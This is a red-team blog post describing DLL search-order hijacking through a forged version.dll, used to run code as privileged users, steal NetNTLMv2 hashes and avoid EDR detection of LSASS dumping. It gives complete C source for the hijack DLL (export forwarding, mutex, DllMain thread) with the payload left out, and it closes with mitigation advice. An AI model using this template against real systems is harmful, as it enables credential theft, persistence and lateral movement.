_      _
    / |   _| |_ _ _____ ___ ___ ___ ___ ___
 _ / /   | . | | |     | . |  _| . |  _| -_|
|_|_/    |___|___|_|_|_|  _|___|___|_| |___|
                       |_|
2020-10-14


Alternative to LSASS dumping
============================

TL;DR: Dumping credentials from LSASS may not always be trivial due to the
presence of EDR products, and bypassing such products may not always be
trivial. Instead, persistence techniques such as DLL search-order hijacks
may results in code execution in the context of the targeted privileged
users, that may be used to launch malware and steal NetNTLMv2 hashes, for
offline password cracking. A positive side effect is that no traditional
typical lateral movement technique such as e.g. RDP/PsExec/WmiExec/AtExec,
is needed to access the host as the attacker's malware is already running
there.


# Background

On a red team engagement, we observed indicators of highly-privileged users
having authenticated against the compromised host after the last reboot.
Therefore, we deemed it likely that their credentials were still cached in
the LSASS process memory space, ripe for dumping since we already had
gained local administrative privileges on the host. However, as we believed
that the present EDR solution was found to detect available dumping
techniques, alternatives were explored.

We took a step back and challenged our current assumptions, one of them
being that we had to dump LSASS in order to gain access to the credentials
of users who appeared to use the compromised host from time to time. We
realized that all we needed was a shell in the target user's context, from
where we might be able to steal the NetNTLMv2 hash, by browsing a rogue SMB
server, e.g. Responder, which we could run somewhere else in the
environment.


# Remote process injection

Since we had achieved local administrative privileges, we discussed the
possibility of simply injecting malware into a process that was running in
the context of the target users. However, we abandoned the idea, as we
deemed it likely that the EDR product would detect it.


# DLL search-order hijacking [1]

As part of the reconnaissance efforts, we had learned that the target
organization had deployed a specific application on most, if not all, hosts
that was executed on boot and was running in the context of the logged on
user.

Since we had already established local administrative privileges, we
considered modifying the executable or its DLLs, in order to get code
execution in the context of the target user, upon their next login.
However, as certain users already were logged on, or had a disconnected
session running, we simply couldn't modify existing files as they were
locked. We also deemed it likely, that modification of existing binaries
would trigger alarms. Instead, we wanted to upload a new file, that would
not interfere with existing sessions and instances of the target
application, while still executing our malware in the context of the target
application upon login.

We therefore inspected the application with ProcMon [2] to identify
potential targets of DLL search-order hijacking in a test environment. We
found, among others, that C:\Windows\SysWOW64\version.dll was a suitable
target, as it was found to be statically loaded.

By placing a malicious version.dll in the directory of the target
application, odds were that our DLL would be loaded, instead of the
legitimate one in the SysWOW64 directory.


# Export Forwarding

However, before our DLL would be loaded, we had to ensure that it exports
the same functions as the legitimate DLL. Otherwise, Windows' subsystem
responsible for loading the DLL would simply ignore it.

To do so, we examined the legitimate version.dll with Nirsoft's excellent
DLL Export Viewer [3], and doing so we identified the list of functions
that we had to export as well.

Using this list of functions, we used Export Forwarding:

"A forwarded export is a pointer to an export in another binary; if it is
used, the pointed-to export in the other binary is used instead." [4]

In other words, PE files have the ability to add an export to their export
table that is really just a pointer to an existing export in another
binary. Thus, we don't have to implement or do anything fancy ourselves. We
can simply just tell our target application that it should use the real
functions in the real version.dll.

This can be achieved with by using a comment pragma, to instruct our linker
to add the exports. E.g. to add an export that forwards the
GetFileVersionInfoA() function to the same function in
C:\Windows\Syswow64\version.dll, one would add the following:

   #pragma comment(linker, "/export:GetFileVersionInfoA=\"C:\\Windows\\SysW
   OW64\\version.GetFileVersionInfoA\"")


# Execution of malware

The entry point, DllMain [5], was used to instantiate an instance of the
used malware. To avoid slowing down execution of the target application,
CreateThread() was used to start a new thread responsible for launching our
malware. Due to the nature of load process of libraries, it is discouraged
to use Win32 APIs in DllMain. However, in our experience, it is safe to use
certain APIs, e.g. CreateThread().


# Ensuring execution of malware no more than once

During testing of our malicious DLL, we quickly realized that it was loaded
multiple times. If left ignored, our malware would be loaded equally
multiple times, which was not intended. To resolve the issue, we chose to
employ a mutex that at runtime is named based on the name of the current
running process.


# Side effects

From an attackers point of view, a number of attractive side effects were
observed:

1. Due to the nature of DLLs, no new processes were launched. Instead our 
   malware was launched in a new thread of a application that was to be 
   launched anyway.

2. As the targeted application was launched immediately after login for
   all users, persistence was automatically ensured.

3. As the installation of the DLL only needed disk access, the technique
   could also be utilised as a means of lateral movement in addition to
   privilege escalation, by simply writing the file over the network with
   SMB.


# Source code

Although the actual execution of our malware and the malware itself has
been omitted here, all other details that are relevant for the techniques
has been left untouched:

   1 #include "pch.h"
   2 #include 
   3 #include 
   4 #include 
   5 #include 
   6 
   7 #pragma comment(linker, "/export:GetFileVersionInfoA=\"C:\\Windows\\Sy
     sWOW64\\version.GetFileVersionInfoA\"")
   8 #pragma comment(linker, "/export:GetFileVersionInfoByHandle=\"C:\\Wind
     ows\\SysWOW64\\version.GetFileVersionInfoByHandle\"")
   9 #pragma comment(linker, "/export:GetFileVersionInfoExW=\"C:\\Windows\\
     SysWOW64\\version.GetFileVersionInfoExW\"")
  10 #pragma comment(linker, "/export:GetFileVersionInfoSizeA=\"C:\\Windows
     \\SysWOW64\\version.GetFileVersionInfoSizeA\"")
  11 #pragma comment(linker, "/export:GetFileVersionInfoSizeW=\"C:\\Windows
     \\SysWOW64\\version.GetFileVersionInfoSizeW\"")
  12 #pragma comment(linker, "/export:GetFileVersionInfoSizeExW=\"C:\\Windo
     ws\\SysWOW64\\version.GetFileVersionInfoSizeExW\"")
  13 #pragma comment(linker, "/export:GetFileVersionInfoW=\"C:\\Windows\\Sy
     sWOW64\\version.GetFileVersionInfoW\"")
  14 #pragma comment(linker, "/export:VerFindFileA=\"C:\\Windows\\SysWOW64\
     \version.VerFindFileA\"")
  15 #pragma comment(linker, "/export:VerFindFileW=\"C:\\Windows\\SysWOW64\
     \version.VerFindFileW\"")
  16 #pragma comment(linker, "/export:VerInstallFileA=\"C:\\Windows\\SysWOW
     64\\version.VerInstallFileA\"")
  17 #pragma comment(linker, "/export:VerInstallFileW=\"C:\\Windows\\SysWOW
     64\\version.VerInstallFileW\"")
  18 #pragma comment(linker, "/export:VerLanguageNameA=\"C:\\Windows\\SysWO
     W64\\version.VerLanguageNameA\"")
  19 #pragma comment(linker, "/export:VerLanguageNameW=\"C:\\Windows\\SysWO
     W64\\version.VerLanguageNameW\"")
  20 #pragma comment(linker, "/export:VerQueryValueA=\"C:\\Windows\\SysWOW6
     4\\version.VerQueryValueA\"")
  21 #pragma comment(linker, "/export:VerQueryValueW=\"C:\\Windows\\SysWOW6
     4\\version.VerQueryValueW\"")
  22 
  23 BOOL isRunning()
  24 {
  25     TCHAR szFileName[MAX_PATH];
  26     GetModuleFileName(NULL, szFileName, MAX_PATH);
  27 
  28     char fileNam[MAX_PATH];
  29     size_t i;
  30     wcstombs_s(&i, fileNam, szFileName, MAX_PATH);
  31     char* fileName = strrchr(fileNam, '\\') + 1;
  32 
  33     HANDLE h = CreateMutexA(NULL, TRUE, (LPCSTR)fileName);
  34 
  35     if (h)
  36     {
  37         if (GetLastError() == ERROR_ALREADY_EXISTS) {
  38             return TRUE;
  39         }
  40     }
  41     else {
  42         return TRUE;
  43     }
  44     return FALSE;
  45 }
  46 
  47 void run()
  48 {
  49     if (!isRunning()) {
  50         // execute malware here
  51     }
  52 }
  53 
  54 BOOL APIENTRY DllMain( HMODULE hModule,
  55                        DWORD  ul_reason_for_call,
  56                        LPVOID lpReserved
  57                      )
  58 {
  59     if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
  60        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)run, 0, 0, NULL);
  61     }
  62 
  63     return TRUE;
  64 }

Source is also available at: dumpco.re/lab/search-order-hijacking.cpp


# Mitigation

While the best mitigation against attacks as the one described here is to
ensure that write access to application folders is both restricted and
monitored, a secondary approach could be to periodically investigate
occurrences of DLLs that have the same name as DLLs located in System32 or
SysWOW64.


# References

1: attack.mitre.org/techniques/T1574/001
2: docs.microsoft.com/en-us/sysinternals/downloads/procmon
3: nirsoft.net/utils/dll_export_viewer.html
4: pelib.com/resources/luevel.txt
5: docs.microsoft.com/en-us/windows/win32/dlls/dllmain